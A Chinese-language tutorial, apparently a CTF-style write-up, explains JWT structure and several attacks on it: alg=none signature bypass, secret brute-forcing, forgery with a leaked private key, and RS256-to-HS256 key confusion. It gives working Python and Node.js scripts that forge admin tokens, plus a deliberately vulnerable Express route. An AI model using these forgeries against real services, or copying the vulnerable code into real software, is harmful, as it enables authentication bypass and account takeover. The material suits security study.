JWT的全称是Json Web Token
,遵循JSON格式,跨域认证解决方案,声明被存储在客户端,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。
jwt就是可以用来验证身份的东西
格式为:
header.payload.signature
heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。
{
"typ":"JWT",
"alg":"HS256"
}
payload则为用户数据,如一次登录的过程可能会传递一下数据
{
"user_role" : "finn", //当前登录用户
"iss": "admin", //该JWT的签发者,有些是URL
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"domain": "example.com", //面向的用户
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下:
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)
header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充"=“号,并且将”+“替换成”-“、”/“替换成”_"
● 签名未校验
● 算法被篡改
● 敏感信息泄露
● 加密算法不安全
● 伪造密钥(CVE-2018-0114)
JWT支持空加密算法,可以在header中指定alg为None
,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证
格式:header+"."+payload+"."
空加密算法本身是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。
jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5NzA2MCwiZXhwIjoxNjkzMzA0MjYwLCJuYmYiOjE2OTMyOTcwNjAsInN1YiI6InVzZXIiLCJqdGkiOiIxZWNlMTU0MmRhNWYxNWE1ZDVhZjA5MTFhYjMzOGZiNCJ9.oNpq8ct6U2x6bVlBdg7MtjhtlBuF6KXveFNxFnwBdNE
解密看看:
我们需要将其改为admin
但是这里存在空加密算法,我们直接把算法换为none
即可
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1610432484,
"exp": 1610439684,
"nbf": 1610432484,
"sub": "admin",
"jti": "efec0205f601a537847ee2dd3ffa81ff"
}
# headers
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict,
key='',
headers=headers,
algorithm="None",
)
print(jwt_token)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQzMjQ4NCwiZXhwIjoxNjEwNDM5Njg0LCJuYmYiOjE2MTA0MzI0ODQsInN1YiI6ImFkbWluIiwianRpIjoiZWZlYzAyMDVmNjAxYTUzNzg0N2VlMmRkM2ZmYTgxZmYifQ.
对 JWT 的密钥爆破需要在一定的前提下进行:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5MTMyMSwiZXhwIjoxNjkzMjk4NTIxLCJuYmYiOjE2OTMyOTEzMjEsInN1YiI6InVzZXIiLCJqdGkiOiIxOWJhNDAxOTNjYTRjZTIzNGI1MzIxZDQ4OTgwNzA3MSJ9.ijdyfitTWJEbrOXhQPl5pQkwh--II1jFoV0OY2w7VGo
借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker
私钥泄露了
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
访问/private.key
可以获得私钥,所以我们可以根据私钥,生成一个新的jwt token
import jwt
private = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))
(非对称密码–>对称密码)
JWT中最常用的两种算法为HMAC
和RSA
HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
在这两种算法中都是使用私钥对signature
字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。更改算法为HS256,即不存在公钥私钥问题,因为HMAC对称密码算法只有一个key
这里公钥泄露了,我们直接修改加密算法为HS256
,此时服务端会使用公钥进行校验
import jwt
public = open('public.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
或者使用nodejs:
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)